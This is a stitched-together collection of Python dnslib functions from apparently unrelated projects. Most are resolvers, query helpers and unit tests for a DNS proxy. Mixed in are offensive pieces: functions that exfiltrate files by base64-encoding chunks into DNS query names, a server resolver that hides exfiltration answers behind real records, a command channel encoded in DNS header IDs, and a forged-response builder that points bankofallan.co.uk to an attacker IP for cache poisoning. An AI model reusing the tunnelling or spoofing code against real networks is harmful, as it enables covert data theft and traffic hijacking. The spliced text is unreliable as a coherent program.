def _record(self, domain, qtype): if isinstance(qtype, str): request = dnslib.DNSRecord.question(domain, qtype=qtype) else: request = dnslib.DNSRecord(q=dnslib.DNSQuestion(domain, qtype)) while request.header.id in self.event_dict: if isinstance(qtype, str): request = dnslib.DNSRecord.question(domain, qtype=qtype) else: request = dnslib.DNSRecord(q=dnslib.DNSQuestion(domain, qtype)) data = request.pack() self.sock.sendto(data, self.dnsserver) flag = 1 result = None while 1: try: flag = self.event_dict[request.header.id].wait(self.timeout) assert isinstance(flag, dnslib.DNSRecord) except Exception as e: if not isinstance(e, AssertionError): traceback.print_exc(file=sys.stderr) sys.stderr.flush() del self.event_dict[request.header.id] if not result: raise IOError(0, 'reliable udp resolve failed! %s' % domain) return result else: result = flag
def dnslib_resolve_over_udp(query, dnsservers, timeout, **kwargs): """ http://gfwrev.blogspot.com/2009/11/gfwdns.html http://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%BC%93%E5%AD%98%E6%B1%A1%E6%9F%93 http://support.microsoft.com/kb/241352 """ if not isinstance(query, (basestring, dnslib.DNSRecord)): raise TypeError('query argument requires string/DNSRecord') blacklist = kwargs.get('blacklist', ()) turstservers = kwargs.get('turstservers', ()) dns_v4_servers = [x for x in dnsservers if ':' not in x] dns_v6_servers = [x for x in dnsservers if ':' in x] sock_v4 = sock_v6 = None socks = [] if dns_v4_servers: sock_v4 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) socks.append(sock_v4) if dns_v6_servers: sock_v6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) socks.append(sock_v6) timeout_at = time.time() + timeout try: for _ in xrange(4): try: for dnsserver in dns_v4_servers: if isinstance(query, basestring): query = dnslib.DNSRecord(q=dnslib.DNSQuestion(query)) query_data = query.pack() sock_v4.sendto(query_data, parse_hostport(dnsserver, 53)) for dnsserver in dns_v6_servers: if isinstance(query, basestring): query = dnslib.DNSRecord(q=dnslib.DNSQuestion(query, qtype=dnslib.QTYPE.AAAA)) query_data = query.pack() sock_v6.sendto(query_data, parse_hostport(dnsserver, 53)) while time.time() < timeout_at: ins, _, _ = select.select(socks, [], [], 0.1) for sock in ins: reply_data, reply_address = sock.recvfrom(512) reply_server = reply_address[0] record = dnslib.DNSRecord.parse(reply_data) iplist = [str(x.rdata) for x in record.rr if x.rtype in (1, 28, 255)] if any(x in blacklist for x in iplist): logging.warning('query=%r dnsservers=%r record bad iplist=%r', query, dnsservers, iplist) elif record.header.rcode and not iplist and reply_server in turstservers: logging.info('query=%r trust reply_server=%r record rcode=%s', query, reply_server, record.header.rcode) return record elif iplist: logging.debug('query=%r reply_server=%r record iplist=%s', query, reply_server, iplist) return record else: logging.debug('query=%r reply_server=%r record null iplist=%s', query, reply_server, iplist) continue except socket.error as e: logging.warning('handle dns query=%s socket: %r', query, e) raise socket.gaierror(11004, 'getaddrinfo %r from %r failed' % (query, dnsservers)) finally: for sock in socks: sock.close()
def _udp_dns_records(host, qtype, server): if isinstance(qtype, str): query = dnslib.DNSRecord.question(host, qtype=qtype) else: query = dnslib.DNSRecord(q=dnslib.DNSQuestion(host, qtype)) query_data = query.pack() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(query_data, server) record_list = [] try: (ins, _, _) = select.select([sock], [], [], 2) if ins: reply_data, reply_address = sock.recvfrom(8192) record_list.append(dnslib.DNSRecord.parse(reply_data)) finally: while 1: try: (ins, _, _) = select.select([sock], [], [], 2) if not ins: break reply_data, reply_address = sock.recvfrom(8192) record_list.append(dnslib.DNSRecord.parse(reply_data)) except: break return record_list
def get_google_ipranges(dnsserver='8.8.4.4'): query = '_netblocks.google.com' timeout = 10 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipranges = [] ipset = netaddr.IPSet() try: query = dnslib.DNSRecord(q=dnslib.DNSQuestion(query, dnslib.QTYPE.TXT)) query_data = query.pack() sock.sendto(query_data, (dnsserver, 53)) ins, _, _ = select.select([sock], [], [], timeout) for sock in ins: reply_data, reply_address = sock.recvfrom(512) reply_server = reply_address[0] record = dnslib.DNSRecord.parse(reply_data) # print record.rr[0].rdata ipranges = [ netaddr.IPNetwork(x) for x in re.findall(r'[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/[0-9]+', str(record.rr[0].rdata)) ] ipset = netaddr.IPSet(ipranges) except socket.error as e: print 'handle dns query=%s socket: %r', query, e raise socket.gaierror( 11004, 'getaddrinfo %r from %r failed' % (query, dnsserver)) finally: sock.close() return (ipranges, ipset)
def get_chunk(self, chunk_no, chunk_size, filename, tries=3): query_string = 'c{cn}.s{cs}.{fn}.{d}'.format(cn=chunk_no, cs=chunk_size, fn=filename, d=self.domain) record = dnslib.DNSRecord() record.add_question(dnslib.DNSQuestion(query_string, dnslib.QTYPE.MX)) reply = dnslib.DNSRecord.parse(record.send(self.connect)) def retry(): time.sleep(0.5) if tries > 0: return self.get_chunk(chunk_no, chunk_size, filename, tries - 1) else: raise CannotReadChunk if reply.header.rcode != dnslib.RCODE.NOERROR: # Server reported an error in the response. return retry() try: last_resource_data = reply.rr[-1].rdata encoded_message = last_resource_data.get_label().label[0] decoded_message = base64.b64decode(encoded_message) return decoded_message except: # Server returned a response I don't understand. return retry()
def tcp_dns_record(host, qtype, server, proxy, timeout=2): logger.debug('entering tcp_dns_record(%s, %s, %s)' % (host, server, proxy)) if isinstance(qtype, str): query = dnslib.DNSRecord.question(host, qtype=qtype) else: query = dnslib.DNSRecord(q=dnslib.DNSQuestion(host, qtype)) query_data = query.pack() exp = None for _ in range(2): try: sock = create_connection(server, ctimeout=3, parentproxy=proxy, tunnel=True) data = struct.pack('>h', len(query_data)) + query_data sock.sendall(bytes(data)) sock.settimeout(timeout) rfile = sock.makefile('rb') reply_data_length = rfile.read(2) reply_data = rfile.read(struct.unpack('>h', reply_data_length)[0]) record = dnslib.DNSRecord.parse(reply_data) sock.close() return record except Exception as e: exp = e if exp: raise exp
def resolve(self, request, handler): qname = request.q.qname qtype = request.q.qtype try: answer = self.answer(qname, qtype) # We answered the question without an error, so we are exfiltrating successfully # When this happens, we want to proxy back the real domain name to get back real data # with our fake response inconspicuously at the end. real_domain_name = '.'.join(str(qname).split('.')[-3:]) if self.use_upstream_cache: try: real_records = self.upstream_cache[(real_domain_name, qtype)] except KeyError: real_request = dnslib.DNSRecord() real_request.add_question( dnslib.DNSQuestion(real_domain_name, qtype)) real_reply = self.interceptor.resolve( real_request, handler) self.upstream_cache[(real_domain_name, qtype)] = real_reply.rr real_records = real_reply.rr else: real_reply = self.interceptor.resolve(real_request, handler) real_records = real_reply.rr return_reply = request.reply() for record in real_records: return_reply.add_answer(record) return_reply.add_answer(answer) except (RecordTypeNotDefined, CannotExfiltrateError): # if we are here, we did not exfiltrate data. # Lets assume it's a real domain and just return a valid response return_reply = self.interceptor.resolve(request, handler) return return_reply
def do_resolve(query, dnsserver, timeout, queobj): if isinstance(query, basestring): qtype = dnslib.QTYPE.AAAA if ':' in dnsserver else dnslib.QTYPE.A query = dnslib.DNSRecord(q=dnslib.DNSQuestion(query, qtype=qtype)) query_data = query.pack() sock_family = socket.AF_INET6 if ':' in dnsserver else socket.AF_INET sock = socket.socket(sock_family) rfile = None try: sock.settimeout(timeout or None) sock.connect(parse_hostport(dnsserver, 53)) sock.send(struct.pack('>h', len(query_data)) + query_data) rfile = sock.makefile('r', 1024) reply_data_length = rfile.read(2) if len(reply_data_length) < 2: raise socket.gaierror(11004, 'getaddrinfo %r from %r failed' % (query, dnsserver)) reply_data = rfile.read(struct.unpack('>h', reply_data_length)[0]) record = dnslib.DNSRecord.parse(reply_data) iplist = [str(x.rdata) for x in record.rr if x.rtype in (1, 28, 255)] if any(x in blacklist for x in iplist): logging.debug('query=%r dnsserver=%r record bad iplist=%r', query, dnsserver, iplist) raise socket.gaierror(11004, 'getaddrinfo %r from %r failed' % (query, dnsserver)) else: logging.debug('query=%r dnsserver=%r record iplist=%s', query, dnsserver, iplist) queobj.put(record) except socket.error as e: logging.debug('query=%r dnsserver=%r failed %r', query, dnsserver, e) queobj.put(e) finally: if rfile: rfile.close() sock.close()
def command(self, command): record = dnslib.DNSRecord() record.add_question(dnslib.DNSQuestion(self.domain, dnslib.QTYPE.A)) for condition, match in self.context['header_conditions'].items(): setattr(record.header, condition, match) record.header.id = self.context['command_map'][command] record.send(self.connect)
def cloud_spy(nameserver=None): # get a local DNS server list if nameserver == None: nameservers = get_nameserver_from_registry() if len(nameservers) > 0: print '# Your DNS Server List' i = 0 # print ALL DNS servers for nameserver in nameservers: i += 1 print '[%d] ' % i, nameserver # User can choose a DNS server idx = raw_input('\nWhat do you choose? ') nameserver = nameservers[int(idx) - 1] print '\n# A DNS Server of your choice : ', nameserver for key, value in CLOUD_DOMAIN.items(): # create a DNS request packet (wire format) wire_query = dnslib.DNSRecord( dnslib.DNSHeader(rd=0), # RD(Recursion Desired) don't set up. q=dnslib.DNSQuestion(value)) wire_query = wire_query.pack() # query to dns server response = query_domain(wire_query, nameserver) parse_rr(key, value, str(dnslib.DNSRecord.parse(response)))
def append(self, data, remote_filename): encoded_message = base64.standard_b64encode(data).decode('utf-8') query_string = '{em}.{fn}.{d}'.format(em=encoded_message, fn=remote_filename, d=self.domain) record = dnslib.DNSRecord() record.add_question(dnslib.DNSQuestion(query_string, dnslib.QTYPE.A)) record.send(self.connect)
def get_index(self): record = dnslib.DNSRecord() record.add_question(dnslib.DNSQuestion(self.domain, dnslib.QTYPE.TXT)) reply = dnslib.DNSRecord.parse(record.send(self.connect)) last_resource_data = reply.rr[-1].rdata message = last_resource_data.data[0].decode('utf-8') parsed = [] for csv in message.split(';'): name, size = csv.split(',') parsed.append(dict(name=name, size=size)) return parsed
def put_chunk(self, chunk_info, chunk_size, filename): chunk_data, chunk_number = chunk_info encoded_message = base64.standard_b64encode(chunk_data).decode('utf-8') query_string = '{em}.c{cn}.s{cs}.{fn}.{d}'.format(em=encoded_message, cn=chunk_number, cs=chunk_size, fn=filename, d=self.domain) record = dnslib.DNSRecord() record.add_question(dnslib.DNSQuestion(query_string, dnslib.QTYPE.A)) record.send(self.connect)
def _dns_remote_resolve(qname, dnsservers, blacklist, timeout): ''' http://gfwrev.blogspot.com/2009/11/gfwdns.html http://zh.wikipedia.org/wiki/域名服务器缓存污染 http://support.microsoft.com/kb/241352 ''' if '46' in GC.LINK_PROFILE: qtype = ANY elif '4' in GC.LINK_PROFILE: qtype = A elif '6' in GC.LINK_PROFILE: qtype = AAAA query = dnslib.DNSRecord(q=dnslib.DNSQuestion(qname, qtype)) query_data = query.pack() dns_v4_servers = [x for x in dnsservers if isipv4(x)] dns_v6_servers = [x for x in dnsservers if isipv6(x)] sock_v4 = sock_v6 = None socks = [] if dns_v4_servers: sock_v4 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) socks.append(sock_v4) if dns_v6_servers: sock_v6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) socks.append(sock_v6) timeout_at = time() + timeout try: for _ in range(2): try: for dnsserver in dns_v4_servers: sock_v4.sendto(query_data, (dnsserver, 53)) for dnsserver in dns_v6_servers: sock_v6.sendto(query_data, (dnsserver, 53)) while time() < timeout_at: ins, _, _ = select(socks, [], [], 0.1) for sock in ins: reply_data, xip = sock.recvfrom(512) reply = dnslib.DNSRecord.parse(reply_data) iplist = classlist( str(x.rdata) for x in reply.rr if x.rtype in (A, AAAA)) if any(x in blacklist for x in iplist): logging.warning( 'query qname=%r reply bad iplist=%r', qname, iplist) else: logging.debug('query qname=%r reply iplist=%s', qname, iplist) iplist.xip = xip return iplist except socket.error as e: logging.warning('handle dns query=%s socket: %r', query, e) finally: for sock in socks: sock.close()
def tcp_dns_record(ns, host, qtype, server, tcp): if isinstance(qtype, str): query = dnslib.DNSRecord.question(host, qtype=qtype) else: query = dnslib.DNSRecord(q=dnslib.DNSQuestion(host, qtype)) query_data = query.pack() #print("sending:",ns, host,qtype,ns,tcp,query_data) record = query.send(ns, tcp=tcp) #print("response:",record) return record
def handle(self): data = self.request[0] d = dnslib.DNSRecord.parse(data) id = d.header.id sock = self.request[1] res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1, id=id), q=dnslib.DNSQuestion(qname), a=dnslib.RR(qname, rdata=dnslib.A("101.226.103.106"), ttl=3)) sock.sendto(bytes(res.pack()), self.client_address)
def lookup_ns(label, server, port=53): question = dnslib.DNSRecord(q=dnslib.DNSQuestion(label, dnslib.QTYPE.NS)) res_pkt = question.send(server, port=port, ipv6=True, tcp=False, timeout=5) res = dnslib.DNSRecord.parse(res_pkt) name_servers = list( filter( lambda r: r.rtype == dnslib.QTYPE.NS and r.rclass == dnslib.CLASS. IN, res.auth if len(res.auth) > 0 else res.rr)) if not name_servers: return None return name_servers
def _udp_dns_record(host, qtype, server, timeout=3): if isinstance(qtype, str): query = dnslib.DNSRecord.question(host, qtype=qtype) else: query = dnslib.DNSRecord(q=dnslib.DNSQuestion(host, qtype)) query_data = query.pack() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(timeout) sock.sendto(query_data, server) reply_data, reply_address = sock.recvfrom(8192) record = dnslib.DNSRecord.parse(reply_data) return record
def create_dns_response(hostname="google.com", ip=None): """ Create a DNS response packet for the specified hostname. If `ip` is specified (as a string, e.g., '127.0.0.1'), it will be used for the response. Otherwise, a not found (NXDOMAIN) response is returned. """ try: if ip is None: d = dnslib.DNSRecord( dnslib.DNSHeader(qr=1, aa=1, ra=1, rcode=3), q=dnslib.DNSQuestion(hostname), ) else: d = dnslib.DNSRecord( dnslib.DNSHeader(qr=1, aa=1, ra=1), q=dnslib.DNSQuestion(hostname), a=dnslib.RR(hostname, rdata=dnslib.A(ip)), ) return d.pack() except Exception as e: print("DNS_CREATE failed:", e) return None
def _record(self, domain, qtype): if isinstance(qtype, str): request = dnslib.DNSRecord.question(domain, qtype=qtype) else: request = dnslib.DNSRecord(q=dnslib.DNSQuestion(domain, qtype)) while request.header.id in self.event_dict: if isinstance(qtype, str): request = dnslib.DNSRecord.question(domain, qtype=qtype) else: request = dnslib.DNSRecord(q=dnslib.DNSQuestion(domain, qtype)) data = request.pack() self.sock.sendto(data, self.dnsserver) try: result = self.event_dict[request.header.id].wait(self.timeout) assert isinstance(result, dnslib.DNSRecord) except Exception: traceback.print_exc(file=sys.stderr) sys.stderr.flush() del self.event_dict[request.header.id] if result: return result raise IOError(0, 'udp_dns_record %s failed.' % domain)
def test_on_client_request_with_cache_expired(greendns): qname = "qqq.com" id = 1024 s = init_greendns_session(greendns, qname, dnslib.QTYPE.A, id) res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1), q=dnslib.DNSQuestion(qname), a=dnslib.RR(qname, rdata=dnslib.A("101.226.103.106"), ttl=3)) greendns.cache.add(("qqq.com.", 1), res, 3) time.sleep(4) is_continue, raw_resp = greendns.on_client_request(s) assert is_continue assert not raw_resp
def fakeReplys(qid): """ This method craft a fake DNS response packet where associate the bankofallan.co.uk to the badguy ip. qid: Is the queryID to assign to the crafted packet. """ # craft fake DNS query response fakeReplyPacket = dnslib.DNSRecord( dnslib.DNSHeader(id=qid, qr=1, aa=1, ra=1), q=dnslib.DNSQuestion("www1337.bankofallan.co.uk"), a=dnslib.RR("bankofallan.co.uk", dnslib.QTYPE.A, rdata=dnslib.A(badguyIP), ttl=10000)).pack() return fakeReplyPacket
def test_on_upstream_response_not_A(greendns): qname = "www.microsoft.com" qresult = "www.microsoft.com-c-2.edgekey.net." s = init_greendns_session(greendns, qname, dnslib.QTYPE.CNAME) res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1), q=dnslib.DNSQuestion(qname), a=dnslib.RR(qname, rtype=dnslib.QTYPE.CNAME, rdata=dnslib.CNAME(qresult), ttl=3)) s.server_resps[local_dns1] = bytes(res.pack()) resp = greendns.on_upstream_response(s, local_dns1) assert resp d = dnslib.DNSRecord.parse(resp) assert str(d.rr[0].rdata) == qresult
def test_on_upstream_response_invalid_A(greendns): qname = "www.x.net" s = init_greendns_session(greendns, qname, dnslib.QTYPE.A) res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1), q=dnslib.DNSQuestion(qname), a=dnslib.RR(qname, rdata=dnslib.A("1.2.4.8"), ttl=3)) s.server_resps[local_dns1] = bytes(res.pack()) resp = greendns.on_upstream_response(s, local_dns1) d = dnslib.DNSRecord.parse(resp) assert str(d.rr[0].rdata) == "1.2.4.8" s.server_resps[local_dns1] = b'123456' resp = greendns.on_upstream_response(s, local_dns1) assert not resp
def test_on_upstream_response_BD(greendns): qname = "google.com" s = init_greendns_session(greendns, qname, dnslib.QTYPE.A) res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1), q=dnslib.DNSQuestion(qname), a=dnslib.RR(qname, rdata=dnslib.A("1.2.3.4"), ttl=3)) s.server_resps[local_dns1] = bytes(res.pack()) resp = greendns.on_upstream_response(s, local_dns1) assert not resp res.rr[0].rdata = dnslib.A("172.217.24.14") s.server_resps[foreign_dns] = bytes(res.pack()) resp = greendns.on_upstream_response(s, foreign_dns) assert resp d = dnslib.DNSRecord.parse(resp) assert str(d.rr[0].rdata) == "172.217.24.14"
def test_on_upstream_response_AC(greendns): qname = "www.coding.net" s = init_greendns_session(greendns, qname, dnslib.QTYPE.A) res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1), q=dnslib.DNSQuestion(qname), a=dnslib.RR(qname, rdata=dnslib.A("120.132.59.101"), ttl=3)) s.server_resps[foreign_dns] = bytes(res.pack()) resp = greendns.on_upstream_response(s, foreign_dns) assert not resp res.rr[0].rdata = dnslib.A("219.146.244.91") s.server_resps[local_dns1] = bytes(res.pack()) resp = greendns.on_upstream_response(s, local_dns1) assert resp d = dnslib.DNSRecord.parse(resp) assert str(d.rr[0].rdata) == "219.146.244.91"
def test_on_upstream_response_AD(greendns): qname = "www.microsoft.com" s = init_greendns_session(greendns, qname, dnslib.QTYPE.A) res = dnslib.DNSRecord(dnslib.DNSHeader(qr=1, aa=1, ra=1), q=dnslib.DNSQuestion(qname), a=dnslib.RR(qname, rdata=dnslib.A("184.85.123.14"), ttl=3)) s.server_resps[foreign_dns] = bytes(res.pack()) resp = greendns.on_upstream_response(s, foreign_dns) assert not resp res.rr[0].rdata = dnslib.A("183.136.212.50") s.server_resps[local_dns1] = bytes(res.pack()) resp = greendns.on_upstream_response(s, local_dns1) assert resp d = dnslib.DNSRecord.parse(resp) assert str(d.rr[0].rdata) == "183.136.212.50"
def tcp_dns_record(host, qtype, server, proxy): if isinstance(qtype, str): query = dnslib.DNSRecord.question(host, qtype=qtype) else: query = dnslib.DNSRecord(q=dnslib.DNSQuestion(host, qtype)) query_data = query.pack() sock = create_connection(server, ctimeout=5, parentproxy=proxy, tunnel=True) data = struct.pack('>h', len(query_data)) + query_data sock.sendall(bytes(data)) sock.settimeout(5) rfile = sock.makefile('rb') reply_data_length = rfile.read(2) reply_data = rfile.read(struct.unpack('>h', reply_data_length)[0]) record = dnslib.DNSRecord.parse(reply_data) sock.close() return record
def _record(self, domain, qtype): if isinstance(qtype, str): request = dnslib.DNSRecord.question(domain, qtype=qtype) else: request = dnslib.DNSRecord(q=dnslib.DNSQuestion(domain, qtype)) query_data = request.pack() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) exp = None for i in range(2): for server in self.dnsserver: try: sock.settimeout(i + 1) sock.sendto(query_data, server) reply_data, reply_address = sock.recvfrom(8192) record = dnslib.DNSRecord.parse(reply_data) return record except Exception as e: exp = e raise exp
def response(self): if self.lookup().is_valid(): record = dnslib.DNSRecord(dnslib.DNSHeader( id=self._record.header.id, qr=1, rd=1, ra=1), q=dnslib.DNSQuestion(self.domain)) for address in self.multiaddr: answer = dnslib.RR(address.domain, ttl=address.time, rtype=qtype[address.rtype], rclass=_class[address.rclass], rdata=getattr(dnslib, address.rtype)(address.ip)) record.add_answer(answer) packs = record.pack() else: try: packs = self.dnsLookup.record.pack() except DNSLookupException: return b'' return packs